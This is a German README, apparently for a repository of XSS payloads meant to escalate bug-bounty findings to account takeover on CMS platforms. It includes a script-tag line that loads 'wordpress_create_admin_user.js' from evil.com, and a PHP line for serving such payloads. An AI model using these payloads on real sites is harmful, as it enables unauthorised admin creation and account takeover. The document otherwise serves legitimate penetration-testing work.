
XSS payloads designed to turn alert(1) into P1
XSS-Payloads, die dazu entwickelt wurden, aus alert(1) eine P1 zu machen.
Dieses Repository wurde zusammen mit einem Blogbeitrag mit dem Titel „How to Upgrade Your XSS Bugs from Medium to Critical“ veröffentlicht: https://medium.com/@hakluke/upgrade-xss-from-medium-to-critical-cb96597b6cc4
In diesem Repository findest du eine Reihe von JavaScript-Dateien, die in einen XSS-Payload geladen werden können, um im Kontext des Browsers des Opfers sensible Funktionen auf gängigen CMS-Plattformen auszuführen. Das kann helfen, einen einfachen XSS-Bug zu etwas Kritischerem zu verketten, etwa einer Account-Übernahme.
Das ist perfekt, um den Schweregrad eines Pentest- oder Bug-Bounty-Reports zu erhöhen, indem du echte sicherheitsrelevante Auswirkungen demonstrierst.
Payloads werden nach und nach hinzugefügt, sobald ich Zeit habe. Es werden noch viele weitere folgen – wenn du helfen kannst, sind Pull-Requests willkommen! Wenn du nach Inspiration suchst, was du erstellen könntest, wirf einen Blick auf den Reiter „Issues“ in diesem Repository.
Der einfachste Weg, diese Payloads zu verwenden, besteht darin, sie irgendwo zu hosten und sie in das src-Attribut eines Script-Tags für deinen XSS-Payload zu laden, etwa so:
<script src="http://evil.com/wordpress_create_admin_user.js"></script>
Alternativ kann es – je nach Kontext und Länge des Payloads – manchmal minifiziert, encodiert und dann direkt in die Anfrage eingebunden werden.
Um die JavaScript-Datei zu hosten, musst du möglicherweise den Content-Type auf application/javascript setzen. Um das mit PHP zu erreichen, kannst du einfach diese Zeile an den Anfang eines beliebigen Payloads setzen, sie als .php-Datei speichern und auf deinem PHP-fähigen Webserver hosten:
<?php header("Content-Type: application/javascript"); ?>
Dieser Artikel von Shift8 hat mich dazu inspiriert, dieses Repository zu erstellen. Das JavaScript im Artikel enthält ein paar kleinere Tippfehler, aber die Konzepte sind genau richtig.